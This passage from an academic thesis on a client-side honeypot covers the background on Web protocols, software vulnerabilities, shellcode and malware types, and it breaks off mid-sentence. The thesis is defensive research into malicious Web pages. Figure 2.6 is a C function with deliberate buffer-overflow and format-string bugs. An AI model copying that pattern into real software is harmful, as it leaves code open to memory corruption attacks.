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Abstract

Malicious software in the form of worms, Trojan horses, spyware, and bots has

become an effective tool for financial gain. To effectively infect the computers of

unsuspecting users with malware, attackers use malicious Web pages. When a user

views a malicious Web page using a Web browser, the malicious Web page delivers a

Web-based exploit that targets browser vulnerabilities. Successful exploitation of a

browser vulnerability can lead to an automatic download and execution of malware

on the victim’s computer.

This thesis presents a honeypot that uses Internet Explorer as bait to identify

malicious Web pages, which successfully download and execute malware via Web-

based exploits. When the honeypot instructs Internet Explorer to visit a Web page,

the honeypot monitors and records process and file creation activities of Internet

Explorer and processes spawned by Internet Explorer. The recorded activities are

analyzed to find deviations from normal behavior, which indicate successful exploita-

tion. The Web-based exploits delivered by malicious Web pages and the malware

downloaded by the exploits are automatically collected by the honeypot after suc-

cessful exploitations. Additionally, the honeypot constructs an analysis graph to find

relationships between different malicious Web pages and identify the Web pages that

download the same malware.

This thesis also presents an analysis of data collected by the honeypot after

processing 33,811 URLs collected from three data sets. Observations and case studies

are presented to provide insights about Web-based exploits and malware, malicious

Web pages, and the techniques used by attackers to deliver and obfuscate the exploits.
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Chapter 1

Introduction

1.1 Motivation

Malicious software (Malware) such as computer viruses, worms, Trojan horses, spy-

ware, and bots poses a significant threat to computer security, integrity, and privacy.

Malware can be used to spread mayhem, enact political revenge on a corporate tar-

get, extort money from businesses, steal data, prevent users from accessing resources,

conduct click fraud, send spam, or sometimes simply gain bragging rights. Malware

is getting more widespread and increasingly difficult to detect. Dozens more are

added to the menagerie each day.

Over the past few years, attackers have shifted their efforts from creating malware

for fun and fame to creating malware for profit [24]. Attackers today are organized,

sophisticated, and financially motivated [24, 39]. Their primary goal is to infect

computers with malware, since malware has become an effective tool for financial

gain.

Exploiting vulnerabilities in network services to compromise computers is a com-

mon technique used by attackers. This technique, however, has become less successful

in the last few years due to technologies such as Network Address Translation (NAT)

and firewalls that prevent or restrict incoming connections from untrusted computers

on the Internet [2, 64]. To adapt to such restrictions, attackers shifted their tech-

niques from exploiting vulnerabilities in network services to exploiting vulnerabilities
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in client-side software such as Web browsers, office software, email clients, and me-

dia players. The number of vulnerabilities reported to the Computer Emergency

Response Team (CERT) almost doubled in the last few years [16]. The total number

of reported vulnerabilities in 2004 is 3,780. In 2007, the number increased to 7,236.

According to SANS’s Top-20 Security Risks in 2007 [68], the most targeted client-

side software is the Web browser. Web content has evolved tremendously over the

past few years. Web content today can contain several types of Web resources

such as text, audio, images, videos, applets, scripts, etc. To handle such content,

Web browsers such as Microsoft’s Internet Explorer, Mozilla’s Firefox, and Apple’s

Safari have become very complex. The complexity of Web browsers increases the

potential of finding vulnerabilities, which can be exploited to infect the computers

of unsuspecting users with malware.

In an attack that involves a Web browser, a user is lured into visiting a malicious

Web page. When the user views the malicious Web page, the Web page delivers a

Web-based exploit that targets browser vulnerabilities. One of the most interesting

characteristics of a Web-based exploit is that the exploit is delivered via HTTP,

which can penetrate networks protected with firewalls and NAT technology. Suc-

cessful exploitation of a browser vulnerability via a Web-based exploit can lead to

an automatic download and execution of malware on the victim’s computer.

Every day, new malicious Web pages are deployed and legitimate Web pages are

compromised and modified to deliver Web-based exploits that infect computers with

malware. In April 2008, over half a million legitimate Web pages were modified by

attackers via a massive SQL injection attack [70]. The attackers added an HTML

element to the legitimate Web pages, which causes the Web browser to automatically
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embed a malicious Web page when any of the modified Web pages is viewed.

To learn more about malicious Web pages, researchers [48, 64, 80] started using

client-side honeypots. A honeypot is an information resource that does not have

any production value other than being being probed, attacked, or compromised [73].

Any interaction with a honeypot is by default suspicious, which makes data col-

lected by honeypots valuable. Honeypots can be used to learn about new attacks,

understand the motives and psychology of attackers, distract attackers from valu-

able production systems, collect autonomous spreading malware, track botnets, or

monitor underground economy networks [63].

Traditional honeypots are server-side honeypots [73]. A server-side honeypot is

a passive entity that waits for attackers or self-propagating malware to probe or

compromise it. A client-side honeypot, on the other hand, is an active entity that

searches for malicious content on the Internet. Client-side honeypots mimic the

behaviour of a human, and analyze whether such behaviour would be exploited by

attackers [63].

This thesis presents the design and implementation of a high-interaction client-

side honeypot to identify malicious Web pages, which successfully download and

execute malware via Web-based exploits. The honeypot sends commands to Internet

Explorer to visit Web pages randomly, and can effectively detect when a Web page

delivers an exploit.

This thesis also presents an analysis of data collected by the honeypot after

visiting 33,811 Web pages. The URLs for the Web pages were collected from three

data sets. Observations and several case studies are presented to demonstrate a

variety of techniques used by attackers to infect computers with malware via Web-
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based exploits.

1.2 Goals

In this thesis, a high-interaction client-side honeypot for effectively identifying ma-

licious Web pages and collecting data about such Web pages is introduced. The

resulting honeypot is used to find answers to the following questions:

• Can we effectively collect the Web-based exploits delivered by malicious Web

pages and the malware downloaded by the exploits using client-side honeypots?

• Can we quantify the density of malicious Web pages on the Web?

• What are the techniques used by attackers to deliver the Web-based exploits?

• What is the most frequently targeted browser vulnerability?

• How do attackers obfuscate the exploits?

• Can we identify relationships between different malicious Web pages or find

malicious Web pages that install the same malware?

• Do attackers track infections?

• What is the geographic distribution of the Web servers hosting malicious Web

pages?

1.3 Contributions

This thesis has four main contributions:



5

• A comprehensive description of a high-interaction client-side honeypot is pre-

sented. The honeypot automatically collects the Web-based exploits delivered

by malicious Web pages and the malware downloaded by the exploits. In addi-

tion to collecting the exploits and the downloaded malware, the honeypot col-

lects extensive data about all visited Web pages (malicious or non-malicious)

such as redirection information, DNS address records of domain names, ge-

ographic locations of Web servers, screenshots, and any URLs specified in

anchor, iframe, and script HTML elements.

• A new approach is introduced to detect when a malicious Web page delivers a

Web-based exploit. The new approach relies on only monitoring process and

file creation activities. The approach ignores activities generated by legitimate

processes by only observing the activities of the Web browser and processes

spawned by the Web browser. Observing the activities of the Web-browser

allows us to detect exploitation of the Web browser, and observing the activities

of processes spawned by the Web browser allows us to detect exploitation of

helper applications.

• The notion of an analysis graph is introduced. The nodes and edges in an

analysis graph are constructed when the honeypot visits Web pages. The edges

in an analysis graph can be used to identify relationships between different

malicious Web pages. Additionally, the edges can be used to identify different

malicious Web pages that install the same malware.

• Analysis of the data collected by the honeypot after visiting 33,811 Web pages

is presented. Case studies of malicious Web pages are presented to demon-
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strate a variety of Web-based exploits delivered by malicious Web pages, the

sophistication of attackers, and the techniques used by attackers to deliver and

obfuscate the exploits.

1.4 Overview of Thesis

This thesis is organized as follows. Chapter 2 presents relevant background informa-

tion and an overview of related work. An overview of the honeypot’s architecture is

presented in Chapter 3. Chapter 4 describes how the honeypot detects when a Web

page delivers a Web-based exploit, which successfully downloads and executes mal-

ware. Detailed description of the honeypot’s components and the algorithms used

by each component are presented in Chapter 5. Chapter 6 describes the data sets

we processed to seed the honeypot with URLs, and presents an analysis of the data

collected by the honeypot. In addition, several case studies of malicious Web pages

are presented in Chapter 6. Finally, Chapter 7 summarizes the thesis and presents

directions for future work.



Chapter 2

Background

This chapter presents relevant background information and an overview of related

work. The World Wide Web and related terminology are discussed in Section 2.1.

Section 2.2 presents a general discussion of software vulnerabilities and exploitation

with a focus on memory corruption vulnerabilities. Section 2.3 presents the different

types of malicious software and discusses how attackers use infected computers for

financial gain. Section 2.4 describes Web-based exploits and malicious Web pages.

Finally, Section 2.5 summarizes the chapter. For in-depth discussions of the topics

in this chapter, refer to [23, 27, 35, 36, 63, 71, 73, 75, 76, 86].

2.1 The World Wide Web

The Internet is a collection of interconnected computer networks that use the Trans-

mission Control Protocol/Internet Protocol (TCP/IP) stack proposed by Vinton Cerf

and Robert Kahn in 1974 to support the sharing of resources. Prior to 1991, the In-

ternet was primarily used by government, academic, and industrial researchers [76].

The introduction of the World Wide Web in 1991 by Tim Berners-Lee, while work-

ing at the European Organization for Nuclear Research (CERN), enabled millions

of users to become part of this technological revolution on the Internet.

The World Wide Web (also known as the Web) provides a platform for many

Internet services such as search engines, Web-based electronic mail, electronic com-

7
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merce, multimedia streaming, social networking, and content sharing. The Web is a

client-server system for accessing resources stored on Web servers all over the Inter-

net. Each resource on the Web is addressable by a unique Uniform Resource Locator

(URL), which Web clients use to access the resource. Resources are transmitted from

Web servers to Web clients using the HyperText Transfer Protocol (HTTP) [66].

2.1.1 HyperText Transfer Protocol

HTTP is an application-layer protocol in the TCP/IP stack used for communication

on the Web. HTTP is implemented in two programs running on different computers

on the Internet: a client program and a server program [36]. Both the client and

server programs use the Transmission Control Protocol (TCP), a connection-oriented

protocol, as the underlying transport-layer protocol in the TCP/IP stack to convey

data reliably. Two types of messages are specified in HTTP: request messages and

response messages. Request messages are sent from clients to servers, and response

messages are sent from servers to clients.

Web Servers

Web server software such as Microsoft’s Internet Information Services (IIS) and

Apache implement the server-side of HTTP. Web servers store resources and accept

requests for these resources from Web clients. A Web client C requests a resource R

from a Web server S by first establishing a TCP connection with S and then sending

a GET request message for R. An example of an HTTP request message is shown in

Figure 2.1.

Before C can establish a connection with S, C needs to know the IP address of
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GET /about/index.html HTTP/1.1

Host: ucalgary.ca

Figure 2.1: Example of an HTTP request message

S. IP addresses are used by the Internet Protocol (IP) at the network layer in the

TCP/IP stack to identify computers on the Internet. An IP address is a 32-bit num-

ber written as four 8-bit integer values separated by periods (e.g., 136.159.5.39).

Web servers on the Internet are usually assigned IP addresses and unique domain

names. Domain names are human-readable names that ease the task of remember-

ing the location of resources on the Web. The mapping between domain names and

IP addresses is performed by programs that implement the Domain Name System

(DNS) protocol. These programs run on computers on the Internet known as name

servers.

Each resource on the Web is addressable by a URL. HTTP URLs consist of two

parts: the domain name of the Web server that has the resource, and the path to the

resource relative to the root directory in the Web server’s file system. For example,

in the following URL:

http://www.ucalgary.ca/about/index.html,

the domain name of the Web server is www.ucalgary.ca, and the path to the resource

is /about/index.html. The same resource can be accessed using the Web server’s

IP address in the URL instead of the server’s domain name as follows:

http://136.159.34.17/about/index.html
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HTTP/1.1 400 Bad Request

Date: Sun, 01 Jun 2008 06:15:35 GMT

Connection: close

Content-Type: text/html; charset=iso-8859-1

Figure 2.2: Example of an HTTP response message header

When a request for a resource is received by a Web server from a Web client,

the Web server uses the path specified in the URL to look up the resource in its file

system. The Web server then sends a response message to the Web client. Response

messages consist of a header and a body. The header is used to give Web clients

information about the resource and the status of the request. The body contains

the requested resource if the resource was found, or provides additional information

to Web clients if the resource was not found. An example of a header in an HTTP

response message is shown in Figure 2.2. The first line in the header contains a

status code. The status code is a 3-digit number used to indicate the status of the

request. Status codes of the form 2xx indicate success (e.g., 200) and 3xx indicate

redirection (e.g., 301). Redirection means that the URL of a requested resource

has been changed. The resource’s new URL is typically embedded in the body of a

response message. To retrieve the resource, a Web client can extract the new URL

from the response message and send an additional request message using the new

URL. Finally, status codes of the form 4xx and 5xx indicate errors (e.g., 404 and

500).
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<html>

<body>

<img src="http://www.cpsc.ucalgary.ca/images/example.jpeg">

<b>Hello World</b>

<a href="http://www.ucalgary.ca">University of Calgary</a>

</body>

</html>

Figure 2.3: Example of a Web page in HTML

Resources

Resources on the Web are files stored on Web servers or generated dynamically by

Web servers. There are several types of resources on the Web such as text, image,

audio, video, application, etc. The type of a resource is specified according to the

Multipurpose Internet Mail Extensions (MIME) standard. The MIME type of a

resource is specified in the Content-Type field in the header of a response message.

For example, if the Content-Type field of a requested resource is image/jpeg then

the resource is an image file in JPEG format. Web clients use the MIME types

to know how to handle requested resources. Resources that have the text/html

MIME type are called Web pages. Web pages are text files written in the HyperText

Markup Language (HTML). HTML provides elements that can be used to structure

content in a Web page, embed other types of resources, or reference other Web pages

or resources using hyperlinks. An example of a simple HTML Web page with an

embedded image and a hyperlink is shown in Figure 2.3.

Hyperlinks (also called links) link Web pages to make it easier to navigate from

one page to another. When Web clients such as Web browsers follow a link (e.g., a
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user clicks on a hyperlink in a Web page), the referenced resource is automatically

retrieved. If a Web page P1 has a link to a Web page P2 then P1 is said to have

an outgoing link to P2 and P2 has an incoming link from P1. In HTML, links are

represented using the anchor (<a>) element. The URL of a referenced resource is

specified in the href attribute of the anchor element.

Web Browsers

Web browsers such as Microsoft’s Internet Explorer, Mozilla’s Firefox, and Apple’s

Safari implement the client-side of HTTP. A typical Web browser accepts input

commands from the user, constructs appropriate request messages, sends request

messages to Web servers, interprets response messages, and displays content for the

user. A user retrieves a resource from the Web by entering the resource’s URL in

the address bar widget in the Web browser followed by typing the Enter key, or

by moving the mouse cursor to a link in a Web page and clicking on it. When a

user enters a URL or clicks on a link, the tasks performed by Web browsers can be

summarized as follows:

1. Extract the domain of the Web server from the URL.

2. Map the domain name to an IP address using DNS, if necessary.

3. Establish a TCP connection with the Web server.

4. Send an HTTP GET request message to the Web server to retrieve the resource

specified in the URL.

5. Extract the resource from the HTTP response message.
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6. Close the TCP connection with the Web server.

At the end of step 5, the Web browser interprets the HTML and displays the

content to the user if the resource is a Web page. When the Web browser interprets

the Web page and encounters an HTML element that embeds a resource (e.g., image

or video), the Web browser extracts the URL of the resource and steps 1 to 6 are

repeated to retrieve the resource. Certain MIME types (e.g., image/jpeg) can be

rendered and displayed by the Web browser directly. However, there are MIME types

(e.g., video/x-flv for Flash videos) that cannot be displayed directly. To handle

such types, Web browsers use plug-ins.

Modern Web browsers are designed to have an extensible architecture. The func-

tionality of the Web browser and the MIME types it can handle can be extended via

the use of plug-ins. Browser plug-ins are executable components that are installed by

default or manually by the user. When a plug-in is installed, it registers the MIME

types that it can handle. Every time a Web browser encounters a resource that it

cannot handle directly, the Web browser looks up the plug-in that can handle the

resource and loads it. Certain types of plug-ins (e.g., Adobe Acrobat plug-in) invoke

a helper application (e.g., Adobe Acrobat Reader) stored on the user’s computer to

help handle a resource. In Internet Explorer, plug-ins are usually implemented as

ActiveX controls.

Web Applications and Scripting

Popular Web sites such as Gmail, YouTube, Flickr, and Facebook are applications

that run on Web servers. Web applications are platform independent, which can be

accessed using a Web browser from any computer on the Internet. These applications
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<html>

<body>

<?php

$tm = date("h:i:s");

echo "The current time is: $tm";

?>

</body>

</html>

Figure 2.4: Server-side script in PHP to display the current time

produce Web pages that are generated dynamically upon request. A typical Web

application consists of a front-end and back-end. The front-end is developed using a

combination of HTML that provides the “look” and a server-side scripting language

such as PHP (Hypertext Preprocessor), JSP (Java Server Pages), or ASP (Active

Server Pages) that provides the “functionality”. The back-end is a database such

as MySQL, PostgreSQL, or MS SQL that provides the “storage” of information. To

make the application more interactive and responsive, Web applications often use a

client-side scripting language such as JavaScript.

A server-side script in a Web application context is a script that gets executed

by a Web server. Figure 2.4 shows an example of some PHP code embedded in a

Web page that displays the current time. Every time a user views the Web page

in Figure 2.4, the script is executed by the Web server and a different Web page is

generated and sent to the user based on the output produced by the script.

A client-side scripting language in a Web application context, such as JavaScript

or VBScript, is a script that gets executed by the Web browser. Modern Web

browsers have built-in interpreters that can execute scripts embedded in Web pages.
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<html>

<body>

<script>

var tm = new Date()

var out = tm.getHours().toString()

out += ":" + tm.getMinutes().toString()

out += ":" + tm.getSeconds().toString()

document.write("The current time is: " + out)

</script>

</body>

</html>

Figure 2.5: Client-side script in JavaScript to display the current time

Figure 2.5 shows an example of some JavaScript code embedded in a Web page that

displays the current time.

The example in Figure 2.5 is similar in functionality to the example in Figure

2.4. The primary difference, however, is that the script is executed at the client-side

instead of the server-side. When a request for the Web page in Figure 2.5 is received

by a Web server, the Web server sends the Web page as shown. When the Web

browser receives the Web page, the Web browser executes the script and the current

time is displayed.

2.2 Software Vulnerabilities and Exploitation

Software bugs or flaws are mistakes made by programmers while creating the soft-

ware. A software vulnerability is a software bug that can be exploited in a malicious

way, causing the software to behave in an unexpected manner and perform unin-
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tended actions. An exploit is a program or a chunk of code that takes advantage

of software vulnerabilities to cause denial of service, escalate privileges or execute

arbitrary code on the computer running the vulnerable software.

Detailed information about software vulnerabilities with proof-of-concept exploits

are often disclosed to the public by the “good guys” in support of the full disclosure

movement. Full disclosure carries risks since the information becomes accessible to

anyone. However, the “good guys” argue that full disclosure has benefits that justify

the associated risks since it forces software vendors to release patches faster [42].

When a software vulnerability is disclosed, the vendor or owner of the software

is tasked with fixing the vulnerability before attackers start to exploit it. Software

vulnerabilities are fixed by patching the affected software. A patch overwrites the

vulnerable chunks of code with new code that fixes the bugs. Patches are often dis-

tributed via a software update. The time from when a vulnerability is disclosed until

a patch is released varies from a few hours to several days or months depending on

the risks posed by the vulnerability. For example, patches for critical vulnerabilities

that allow remote code execution are released quickly to avoid damages caused by

such vulnerabilities if exploited by attackers or malicious software. Remote code

execution means that an exploit can supply the vulnerable software with arbitrary

code remotely, and execute the code with the privileges of the exploited software.

In a perfect world, vulnerable software would always be patched when the vendor

or owner of the software releases the patch. However, this is not the case in the real

world. A typical example is the damage [5, 45, 46] caused by several computer worms

[10, 12, 13, 14] that exploited disclosed vulnerabilities for which patches were released

by the vendor, but not applied in a timely manner.
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void foo(char *data, int data_size)

{

char buf[24];

memcpy(buf, data, data_size);

printf(buf);

}

Figure 2.6: Chunk of code with multiple memory corruption bugs

A software vulnerability for which no patch has been released by the software

vendor or owner (due to the fact that the vulnerability is unknown to the public) is

commonly referred to as a zero-day vulnerability. An exploit that takes advantage

of a zero-day vulnerability is commonly referred to as a zero-day exploit. Zero-day

exploits pose significant threats to computers on the Internet. These exploits are

of high tactical value to attackers since no countermeasure strategy is in place to

defend against them [38]. In 2005, a zero-day exploit targeting Microsoft’s Windows

MetaFile (WMF) vulnerability [51] was being sold by a Russian group for $4,000

USD [26].

2.2.1 Memory Corruption Vulnerabilities

Operating systems, libraries, and many software are written in C or C++. C and

C++ assume that the programmer is responsible for data integrity, which makes

code written in these languages prone to memory corruption bugs. Figure 2.6 shows

an example of code that has several memory corruption bugs, which are hard to

notice.

Memory corruption bugs such as buffer overflows [23, 35], integer overflow or
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xor eax, eax 0x33 0xc0

mov eax, 41414141h 0xb8 0x41 0x41 0x41 0x41

jmp eax 0xff 0xe0

Figure 2.7: Assembly code instructions with corresponding machine code

underflow [1], and format strings [23, 35] occur when critical data in the program

is accidently overwritten and the program references the data. When the program

references invalid data, the program often crashes. For example, buffer overflow bugs

are triggered when a finite buffer (storage area) in a program is filled with data that

exceeds the buffer’s size. If the program does not check the size of the data before

writing to the buffer, a buffer overflow occurs and any data stored immediately after

the buffer are at risk of being overwritten.

Critical memory corruption vulnerabilities can be exploited in such a way that

they lead to arbitrary code execution. Exploiting these vulnerabilities can be sum-

marized in two major steps.

In the first step, a chunk of code known as the shellcode is injected directly or

indirectly into an executable memory region (e.g., stack or heap) that belongs to

the vulnerable software. The shellcode consists of machine code instructions used

to perform an action (e.g., download a file from the Internet and execute it, open a

backdoor, or propagate a worm [4]) on the computer where the vulnerable software

is running. The shellcode is typically written in assembly language and converted

to the corresponding machine code. Figure 2.7 shows an example of x86 assembly

language instructions with the corresponding machine code.

In the second step, the program’s flow of execution is changed to point to the
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shellcode. Changing the program’s flow of execution depends on the vulnerability

being targeted. In general, techniques such as overwriting the saved return address

on the stack [61], or modifying function or data pointers [62] stored in the software’s

memory space are used.

2.3 Malicious Software

Malicious Software (Malware) is a broad term used to describe various types of

unwanted computer programs. A computer is infected with malware or compromised

when there is a malicious program installed on the computer without the owner’s

consent or knowledge. Compromised computers are commonly referred to as Zombie

computers. This section describes the common types of malicious software.

2.3.1 Types of Malicious Software

Viruses

A computer virus is self-replicating code that attaches itself to a host such as a file

or a system area. A virus is not a standalone computer program so it relies on the

host to replicate a possibly evolved copy of itself. This is achieved by modifying the

host in such a way that causes the host to transfer control to the virus when the host

is accessed or executed. When control is transferred to the virus, the virus does the

following:

1. Locate itself in memory and start the replication phase.

2. Execute code known as the payload. The payload is used to perform some

action on the infected computer on behalf of the attacker.
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3. Transfer control back to the host.

File infection is a common infection strategy used by viruses [75]. Sophisticated

viruses such as encrypted, oligomorphic, polymorphic, and metamorphic viruses use

various obfuscation and code evolution techniques to avoid detection by anti-virus

software.

Worms

Computer worms are considered a subclass of computer viruses [75]. The primary

difference between a virus and a worm is that a worm is a standalone computer

program that replicates on the Internet. The most effective replication strategy used

by worms is the exploitation of a vulnerability in a widely used network service.

Exploiting a vulnerability that does not require user interaction enables a worm to

replicate rapidly [74]. Worms can also replicate via email, the Web, or peer-to-peer

networks. These types of worms usually rely on social engineering techniques to

trick users into running the worm’s code, which then automatically replicates.

In 2001, Code Red I [10] and Code Red II [14] exploited a known buffer over-

flow vulnerability in one of the ISAPI (Internet Server Application Programming

Interface) extensions in Microsoft’s IIS Web servers. In 14 hours, more than 359,000

computers on the Internet with unpatched versions of Microsoft’s IIS Web servers

were infected by Code Red II [46]. The damages caused by the Code Red worms

exceeded $2.6 billion USD [46].

A few months after the two Code Red worms were released, a new worm called

Nimda was released. Nimda [11] was the first worm that used multiple replication

strategies. It exploited known directory traversal vulnerabilities in Microsoft’s IIS



21

Web servers, sent copies of itself via email, used backdoors left by the Code Red II

worm, and replaced files on compromised Web servers with copies of itself [74].

In 2003, Blaster [13] exploited a known buffer overflow vulnerability in Microsoft’s

DCOM RPC (Distributed Component Object Model Remote Procedure Call) inter-

face. Blaster infected more than 100,000 unpatched Windows computers on the

Internet, and caused millions of dollars in damages [5]. In the same year, Slam-

mer [12] exploited a known buffer overflow vulnerability in the resolution service

in Microsoft’s SQL server and Microsoft’s Desktop Engine. Slammer, the fastest

replicating worm to date, infected 90% of the vulnerable computers on the Internet

within 10 minutes [45].

Backdoors

A backdoor is a feature in a program that allows attackers to bypass normal security

measures. A typical backdoor allows attackers to access the computer after the

backdoor is installed remotely via the Internet. The backdoor listens on a specific

TCP or UDP port and waits for incoming connections from the attacker, or connects

to the attacker’s computer to bypass firewalls blocking incoming connections. Netcat,

a utility for reading and writing data across network connections, is a popular tool

that is often used as a backdoor on compromised computers [71].

Trojan Horses

A Trojan horse is a program that appears to have a useful purpose but includes

hidden features that are unknown to the user who uses the program. A common

hidden feature used in Trojan horses is the backdoor described in the previous section.

Trojan horses are created using a variety of techniques. If the source code of
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a legitimate program is available, attackers can modify the source code to include

hidden features and redistribute the seemingly legitimate program. In 2002, popular

programs such as Sendmail, OpenSSH, and tcpdump were replaced with Trojan

horses that installed backdoors on the computers running the Trojan versions of the

legitimate programs [71].

Another common technique used by attackers to create Trojan horses is via the

use of binders [71]. A binder is a program that combines two or more executable

files and produces a single executable file. Combining a malicious program with a

legitimate program using a binder produces a Trojan horse. When the Trojan horse

is executed, both the malicious and legitimate programs are executed.

Spyware

Spyware is a broad term used to describe various types of computer programs de-

signed to collect data from the user’s computer or change the configuration of the

computer without the user’s knowledge or consent. The data collected by spyware

often includes authentication credentials, Web surfing habits, and other personal

information. This data is sent to third parties via the Internet.

There are many different types of spyware. The common types are browser hi-

jackers, dialers, and keyloggers. A browser hijacker is a browser plug-in capable of

intercepting any data sent by the Web browser or received from a Web server. The

typical functionality of browser hijackers can be summarized as follows:

• Modify the browser’s settings such as the default home page.

• Intercept and log Web form data submitted by the user to a Web server.
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• Modify the content of Web pages received from Web servers.

• Track URLs visited by the user.

• Redirect searches and mis-typed URLs to Web pages controlled by the attacker.

• Open pop-ups, which display advertisements based on the user’s current activ-

ity.

Dialers use the computer’s modem to dial premium-rate numbers controlled by the

attackers. Keyloggers can be used to monitor and log keyboard events, mouse events,

track opened Windows, or capture screenshots of the user’s desktop.

Recent studies [48, 69] measured the spyware threat in a university environment

and the Web. Saroiu et al. [69] analyzed a week-long trace of network activity at the

University of Washington for the presence of four spyware programs: Gator, Cydoor,

SaveNow, and eZula. The researchers derived signatures to detect the presence of the

four spyware programs in the network trace, and found at least 5.1% of computers

within the University of Washington infected with more than one of the four spyware

programs. The researchers found that many of these computers were infected for

several years.

Moshchuk et al. [48] performed a study of spyware on the Web over a five-month

period in 2005. The study attempted to quantify the density of spyware on the Web,

where spyware is located, and how the spyware threat is changing over time. The

researchers crawled over 18 million URLs in May 2005 and approximately 22 million

URLs in October 2005. Executable files were found in approximately 19% of the

crawled URLs, where 4% of these executable files was spyware.
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Bots

Bots are hybrids of different types of malware combined with a communication chan-

nel [18]. Bots replicate like worms, hide like many viruses and Trojan horses, steal

personal information like spyware, and provide access to infected computers like

backdoors. Bots form a network of computers known as a botnet or a zombie net-

work that can be controlled by the attacker via a communication channel known as

the command and control (C&C) channel. These channels can use different com-

munication protocols, from established Internet protocols such as IRC, HTTP, and

DNS to recent peer-to-peer protocols [65].

A typical communication channel used by bots is the Internet Relay Chat (IRC)

protocol. IRC is a client-server system that provides instant messaging over the

Internet. Users connect to IRC servers distributed all over the Internet using an

IRC client, join named channels, and communicate with other users in the channel

by exchanging messages. Similarly, a bot connects to an IRC server, joins a channel

that is often controlled by the attacker, and waits for messages from the attacker.

When the attacker types a message in the channel, all the bots connected to the

channel interpret the message and perform some action based on the embedded

command.

A study by the honeynet project [29] was performed in 2005 to investigate the

botnet phenomenon. The study tracked more than 100 botnets over a period of

four months. Some of these botnets consisted of up to 50,000 bots controlled by a

single attacker. The study observed that bots collected data from the compromised

computers and were updated regularly by the attackers to include new features.
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Rootkits

The presence of malware and its activities on a compromised computer can be hidden

using a rootkit. Rootkits are commonly used to hide processes, files, and network

connections. On computers running Windows, rootkits are also used to hide keys

in the Windows registry. Rootkits are usually implemented as device drivers on

Windows or loadable kernel modules on Linux. A typical rootkit alters the execution

path of the operating system by hooking API or system calls, or modifying kernel

data structures that store information about processes, files, and network connections

directly [27].

2.3.2 Malicious Software for Financial Gain

The common types of malicious software were described in the previous section. This

section describes how attackers can use compromised computers for financial gain.

Anonymity

Activities conducted by attackers are illegal in many countries. As a result, attackers

are highly motivated to conduct such activities without getting caught. To achieve

a high degree of anonymity, attackers can use compromised computers as proxies. A

proxy forwards requests to other computers on the Internet on behalf of the attacker.

This extra level of indirection makes it difficult to know the true location of the

attacker, especially if the attacker uses a chain of proxies located in different countries

[32]. The Sobig worm released in 2003 demonstrates the value of proxies for attackers.

When Sobig infects a computer, Sobig installs WinGate (proxy software) on the

infected computer to be used by attackers [40].
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Information Theft

Malware installed on compromised computers can provide attackers access to sensi-

tive information [28]. Attackers profit by using, selling, or trading this information

[24, 77]. Thomas et al. [77] monitored IRC networks dedicated to the underground

economy. A snapshot of one underground economy trading channel over a 24-hour

period shows attackers selling access to financial accounts, possibly stolen from com-

promised computers, with a total value of $1,599,335.80 USD.

Spam

The widespread use of email enticed attackers to bombard the inboxes of unsuspect-

ing users with unsolicited messages commonly referred to as spam messages [86].

Attackers can use compromised computers to search for email addresses stored lo-

cally, crawl the Web to extract email addresses from Web pages, sign up for email

accounts, or send spam anonymously and effectively.

When a computer on the Internet is the source of large volumes of spam messages,

the IP address of the computer is added to a blacklist. Email messages sent from

blacklisted IP addresses are automatically rejected by many email systems. The

primary objective of attackers involved in spamming is to send out spam messages

to a large number of email addresses without getting blocked. This can be achieved

via the use of compromised computers. An attacker with access to a large number

of compromised computers can send a few spam messages from each computer to

avoid getting blocked. A network of 10,000 compromised computers where each

computer sends out 500 spam messages per day produces 140 million spam messages

per month.
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In 2005, a team [43] at Microsoft infected a Windows computer with a bot and

monitored its activities. In less than three weeks, the compromised computer in Mi-

crosoft’s lab received more than 5 million requests to send 18 million spam messages.

Phishing

Phishing is an attack in which users are sent legitimate-looking email messages that

contain URLs to legitimate-looking but fraudulent Web pages controlled by the at-

tackers. The fraudulent Web pages are designed to entice users into revealing per-

sonal or financial account information. Information entered by users in a fraudulent

Web page is collected and sent to data drop sites under the attacker’s control.

Compromised computers provide attackers a convenient way to conduct phish-

ing attacks. Compromised computers can be used to send phishing messages to

users, host phishing Web pages, become data drop sites, or act as redirectors. Rock

Phish, an infamous phishing group, was the first to demonstrate the usefulness of

compromised computers in making phishing attacks more effective [47].

Denial of Service Attacks

A Denial of Service (DoS) attack is any attack that prevents users from accessing or

using services available to them. DoS attacks such as SYN, UDP, and ICMP flooding

target network connectivity and bandwidth [15]. SYN flooding attacks [8], the most

well known DoS attacks [17], target computers that provide TCP network-based

services such as FTP or Web servers. The attack creates many pending connections

by only completing the first and second steps in the TCP three-way handshake.

The data structure used to store information about pending connections is emptied

when a timeout value expires. If the data structure is filled before it is emptied,
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the computer becomes unable to accept any new connections, including valid ones.

UDP and ICMP flooding attacks [7, 9] target the network bandwidth used to provide

services to users [32]. The attacks send a large volume of UDP or ICMP packets to

the target computer to overwhelm it and consume its bandwidth.

A Distributed Denial of Service (DDoS) attack is a DoS attack against a target

but with multiple computers participating in the attack. DDoS attacks are difficult

to prevent since the computers participating in the attacks are distributed all over

the Internet. The attacks launched against Estonia in 2007 demonstrate the risk

posed by compromised computers participating in massive DDoS attacks. These

attacks were capable of bringing down major government, bank, and commercial

Web sites of one of the most technologically advanced countries in Europe [37].

Attackers with access to many compromised computers can use the computers to

extort money from businesses. Attackers can launch a “sample” DDoS attack and

threaten to launch a larger attack if the money is not paid [32]. Attackers can also

offer their services to businesses for a price. They can offer to launch DDoS attacks

against competitors or offer to protect businesses from other attackers.

Click Fraud

In a pay-per-click advertising system such as Google AdSense [25], three parties are

involved: advertisers, publishers, and syndicators. Syndicates act as an interme-

diate entity between advertisers and publishers. Advertisers contract syndicators

to distribute textual or graphical banner advertisements (ads) to publishers, and

publishers include the banner ads provided by syndicators in their Web pages [34].

These banner ads link to advertisers’ Web pages. When a user visits a publisher’s



29

Web page and clicks on any of the banner ads, the user is redirected to the adver-

tiser’s Web page and the advertiser is charged a fee. A portion of this fee is given to

the publisher.

Click fraud is the practise of generating fraudulent clicks for the publisher’s ben-

efit. A fraudulent click is a click on a banner ad by an automated program or a

human without honest intent [34]. A “click” on a banner ad is simply an HTTP

request message issued by the Web browser to retrieve the advertiser’s Web page.

Compromised computers provide attackers a convenient way to conduct click

fraud. Attackers with access to many compromised computers distributed all over

the Internet can use the malware installed on the computers to simulate clicks on

banner ads on their Web pages or their affiliates’ Web pages. An analysis of a botnet

by Daswani et al. [19] demonstrates the sophistication of attackers in conducting click

fraud against syndicated search engines via low-noise attacks.

Hosting and Malware Propagation

Attackers can benefit from compromised computers by using the computers for stor-

